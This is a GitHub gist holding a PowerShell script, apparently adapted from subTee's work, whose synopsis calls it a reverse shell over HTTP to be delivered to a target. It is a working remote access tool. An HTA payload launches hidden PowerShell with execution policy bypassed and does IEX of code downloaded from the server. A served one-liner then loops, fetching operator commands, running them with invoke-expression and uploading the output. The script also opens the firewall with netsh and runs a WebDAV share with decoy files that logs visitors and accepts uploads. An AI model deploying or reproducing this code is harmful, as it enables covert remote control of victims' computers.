Skip to content

Instantly share code, notes, and snippets.

@secdev02
Created December 21, 2025 18:07
Show Gist options
  • Select an option

  • Save secdev02/0858657e8b92de1eeb3ce4c88cfee479 to your computer and use it in GitHub Desktop.

Select an option

Save secdev02/0858657e8b92de1eeb3ce4c88cfee479 to your computer and use it in GitHub Desktop.
Minimalist - PowerShell WebDAV - Decoy Share
<#
Obtained from https://github.com/re4lity/subTee-gits-backups/blob/master/JEWebDav.ps1
#>
<#
.SYNOPSIS
Simple Reverse Shell over HTTP. Deliver the link to the target and wait for connectback.
Read And Write Files Over WebDAV Proof Of Concept
.PARAMETER Server
Listening Server IP Address
#>
<#
_created by _subtee
#>
$Server = '127.0.0.1' #Listening IP. Change This.
$webDAVFolder = 'c:\Xfer'
# Fake file list - Server will pretend these files exist
$fakeFiles = @(
@{Name='document.pdf'; Size=245678; Content=[byte[]](1..100)},
@{Name='report.docx'; Size=123456; Content=[byte[]](1..100)},
@{Name='data.xlsx'; Size=456789; Content=[byte[]](1..100)},
@{Name='presentation.pptx'; Size=987654; Content=[byte[]](1..100)},
@{Name='notes.txt'; Size=12345; Content=[byte[]](1..100)}
)
<#
$net = new-object -ComObject WScript.Network
$net.MapNetworkDrive("r:", "\\127.0.0.1\drive", $true, "domain\user", "password")
#>
#Begin WEBDAV Just Enough WebDAV to allow you to map drive to get a binary back to host:)
$webDAVPROPFINDResponse = '<?xml version="1.0" encoding="utf-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://'+ $Server +'/</D:href><D:propstat><D:status>HTTP/1.1 200 OK</D:status><D:prop><D:getcontenttype/><D:getlastmodified>Thu, 07 Aug 2014 16:33:21 GMT</D:getlastmodified><D:lockdiscovery/><D:ishidden>0</D:ishidden><D:supportedlock><D:lockentry><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:getetag/><D:displayname>/</D:displayname><D:getcontentlanguage/><D:getcontentlength>0</D:getcontentlength><D:iscollection>1</D:iscollection><D:creationdate>2014-05-27T19:01:44.48Z</D:creationdate><D:resourcetype><D:collection/></D:resourcetype></D:prop></D:propstat></D:response></D:multistatus>'
$webDAVPROPPATCHResponse = '<?xml version="1.0"?><a:multistatus xmlns:b="urn:schemas-microsoft-com:office:office" xmlns:a="DAV:"><a:response><a:href>'+ $Server + '/drive/</a:href><a:propstat><a:status>HTTP/1.1 200 OK</a:status><a:prop><b:Author/></a:prop></a:propstat></a:response></a:multistatus>'
#End WEBDAV
function Receive-Request {
param(
$Request
)
$output = ""
$size = $Request.ContentLength64 + 1
$buffer = New-Object byte[] $size
do {
$count = $Request.InputStream.Read($buffer, 0, $size)
$output += $Request.ContentEncoding.GetString($buffer, 0, $count)
} until($count -lt $size)
$Request.InputStream.Close()
write-host $output
}
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add('http://+:80/')
netsh advfirewall firewall delete rule name="PoshTest 80" | Out-Null
netsh advfirewall firewall add rule name="PoshTest 80" dir=in action=allow protocol=TCP localport=80 | Out-Null
$listener.Start()
'Listening ...'
while ($true) {
$context = $listener.GetContext() # blocks until request is received
$request = $context.Request
$response = $context.Response
$hostip = $request.RemoteEndPoint
#Use this for One-Liner Start
if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) {
write-host "Host Connected" -fore Cyan
$message = '
$s = "http://' + $Server + '/rat"
$w = New-Object Net.WebClient
while($true)
{
$r = $w.DownloadString("$s")
while($r) {
$o = invoke-expression $r | out-string
$w.UploadString("$s", $o)
break
}
}
'
}
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) {
Receive-Request($request)
}
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) {
$response.ContentType = 'text/plain'
$message = Read-Host "PS " + $hostip + ">"
}
if ($request.Url -match '/app.hta$' -and ($request.HttpMethod -eq "GET")) {
$enc = [system.Text.Encoding]::UTF8
$response.ContentType = 'application/hta'
$htacode = '<html>
<head>
<script>
var c = "cmd.exe /c powershell.exe -w hidden -ep bypass -c \"\"IEX ((new-object net.webclient).downloadstring(''http://'`
+ $Server + '/connect''))\"\"";' +
'new ActiveXObject(''WScript.Shell'').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>'
$buffer = $enc.GetBytes($htacode)
$response.ContentLength64 = $buffer.length
$output = $response.OutputStream
$output.Write($buffer, 0, $buffer.length)
$output.Close()
continue
}
if (($request.Url -match '/drive$') -and ($request.HttpMethod -eq "OPTIONS") ){
$response.AddHeader("Allow","OPTIONS, GET, PROPFIND, PUT")
$response.Close()
continue
}
if (($request.Url -match '/drive$') -and ($request.HttpMethod -eq "PROPFIND") ) {
Write-Host "[PROPFIND] Client requesting file list from /drive" -ForegroundColor Yellow
$response.AddHeader("Allow","OPTIONS, GET, PROPFIND, PUT")
# Build response with fake file list
$fileEntries = ""
foreach ($fakeFile in $fakeFiles) {
$fileEntry = '<D:response><D:href>http://' + $Server + '/drive/' + $fakeFile.Name + '</D:href><D:propstat><D:status>HTTP/1.1 200 OK</D:status><D:prop><D:getcontenttype>application/octet-stream</D:getcontenttype><D:getlastmodified>Thu, 11 Jun 2015 05:20:18 GMT</D:getlastmodified><D:lockdiscovery/><D:ishidden>0</D:ishidden><D:supportedlock><D:lockentry><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:getetag/><D:displayname>' + $fakeFile.Name + '</D:displayname><D:getcontentlanguage/><D:getcontentlength>' + $fakeFile.Size + '</D:getcontentlength><D:iscollection>0</D:iscollection><D:creationdate>2014-05-27T19:36:39.240Z</D:creationdate><D:resourcetype/></D:prop></D:propstat></D:response>'
$fileEntries += $fileEntry
}
$message = '<?xml version="1.0" encoding="utf-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://' + $Server + '/drive/</D:href><D:propstat><D:status>HTTP/1.1 200 OK</D:status><D:prop><D:getcontenttype/><D:getlastmodified>Thu, 07 Aug 2014 16:33:21 GMT</D:getlastmodified><D:lockdiscovery/><D:ishidden>0</D:ishidden><D:supportedlock><D:lockentry><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:getetag/><D:displayname>/</D:displayname><D:getcontentlanguage/><D:getcontentlength>0</D:getcontentlength><D:iscollection>1</D:iscollection><D:creationdate>2014-05-27T19:01:44.48Z</D:creationdate><D:resourcetype><D:collection/></D:resourcetype></D:prop></D:propstat></D:response>' + $fileEntries + '</D:multistatus>'
}
if (($request.Url -match '/drive$') -and ($request.HttpMethod -eq "PROPPATCH") ) {
$message = $webDAVPROPPATCHResponse
}
if (($request.HttpMethod -eq "LOCK") -or ($request.HttpMethod -eq "UNLOCK")) {
$Uri = $request.Url
$RequestedFileName = $Uri.Segments[-1]
$webDAVLOCKResponse = '<?xml version="1.0" encoding="utf-8" ?><d:prop xmlns:d="DAV:"> <d:lockdiscovery> <d:activelock><d:locktype><d:write/></d:locktype><d:lockscope><d:exclusive/></d:lockscope><d:depth>Infinity</d:depth><d:owner> <d:href>'+$Server+'/drive/'+ $RequestedFileName+'</d:href></d:owner><d:timeout>Second-345600</d:timeout><d:locktoken> <d:href>opaquelocktoken:e71d4fae-5dec-22df-fea5-00a0c93bd5eb1</d:href></d:locktoken> </d:activelock> </d:lockdiscovery></d:prop>'
$message = $webDAVLOCKResponse
}
if ($request.HttpMethod -eq "PUT") {
$ms = New-Object System.IO.MemoryStream
[byte[]] $buffer = New-Object byte[] 65536
[int] $bytesRead | Out-Null
$Stream = $request.InputStream
do
{
$bytesRead = $Stream.Read($buffer, 0, $buffer.Length)
$ms.Write($buffer, 0, $bytesRead)
} while ( $bytesRead -ne 0)
$Uri = $request.Url
$ReceivedFileName = $Uri.Segments[-1]
Write-Host "[UPLOAD] Client uploading file: " $ReceivedFileName -Fore Cyan
Write-Host "[UPLOAD] Source IP: " $hostip -Fore Cyan
[byte[]] $Content = $ms.ToArray()
$savePath = $webDAVFolder + '\' + $ReceivedFileName
Set-Content -Path $savePath -Value $Content -Encoding Byte | Out-Null
$response.Close()
continue
}
if ($request.Url -match '/drive/' -and ($request.HttpMethod -eq "PROPFIND") ){
$Uri = $request.Url
$RequestedFileName = $Uri.Segments[-1]
Write-Host "[PROPFIND] Client requesting properties for file: " $RequestedFileName -ForegroundColor Yellow
Write-Host "[PROPFIND] Source IP: " $hostip -ForegroundColor Yellow
# Find the fake file
$fakeFile = $fakeFiles | Where-Object { $_.Name -eq $RequestedFileName }
if ($fakeFile) {
$fileSize = $fakeFile.Size
Write-Host "[PROPFIND] Serving fake file properties (Size: " $fileSize " bytes)" -ForegroundColor Green
} else {
# Fall back to real file if it exists
if (Test-Path ($webDAVFolder + '\' + $RequestedFileName)) {
[byte[]] $buffer = [System.IO.File]::ReadAllBytes($webDAVFolder + '\' + $RequestedFileName)
$fileSize = $buffer.Length
} else {
$fileSize = 0
}
}
$webDAVXFERResponse = '<?xml version="1.0" encoding="utf-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://'+$Server+'/drive/</D:href><D:propstat><D:status>HTTP/1.1 200 OK</D:status><D:prop><D:getcontenttype>application/octet-stream</D:getcontenttype><D:getlastmodified>Thu, 11 Jun 2015 05:20:18 GMT</D:getlastmodified><D:lockdiscovery/><D:ishidden>0</D:ishidden><D:supportedlock><D:lockentry><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:getetag>"3d6f834e6a4d01:0"</D:getetag><D:displayname>'+$RequestedFileName+'</D:displayname><D:getcontentlanguage/><D:getcontentlength>'+ $fileSize +'</D:getcontentlength><D:iscollection>0</D:iscollection><D:creationdate>2014-05-27T19:36:39.240Z</D:creationdate><D:resourcetype/></D:prop></D:propstat></D:response></D:multistatus>'
$message = $webDAVXFERResponse
}
if ($request.Url -match '/drive/' -and ($request.HttpMethod -eq "GET") ){
$Uri = $request.Url
$RequestedFileName = $Uri.Segments[-1]
Write-Host "[DOWNLOAD/COPY] Client attempting to open/copy file: " $RequestedFileName -ForegroundColor Magenta
Write-Host "[DOWNLOAD/COPY] Source IP: " $hostip -ForegroundColor Magenta
Write-Host "[DOWNLOAD/COPY] Timestamp: " (Get-Date) -ForegroundColor Magenta
# Check if this is a fake file
$fakeFile = $fakeFiles | Where-Object { $_.Name -eq $RequestedFileName }
if ($fakeFile) {
Write-Host "[DOWNLOAD/COPY] Serving FAKE file content" -ForegroundColor Red
[byte[]] $buffer = $fakeFile.Content
} else {
# Serve real file if it exists
$filePath = $webDAVFolder + '\' + $RequestedFileName
if (Test-Path $filePath) {
Write-Host "[DOWNLOAD/COPY] Serving REAL file from disk" -ForegroundColor Green
[byte[]] $buffer = [System.IO.File]::ReadAllBytes($filePath)
} else {
Write-Host "[DOWNLOAD/COPY] ERROR - File not found!" -ForegroundColor Red
[byte[]] $buffer = [byte[]](0)
}
}
$response.ContentType = 'application/octet-stream'
$response.ContentLength64 = $buffer.length
$output = $response.OutputStream
$output.Write($buffer, 0, $buffer.length)
$output.Close()
continue
}
[byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
$response.ContentLength64 = $buffer.length
$output = $response.OutputStream
$output.Write($buffer, 0, $buffer.length)
$output.Close()
}
$listener.Stop()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment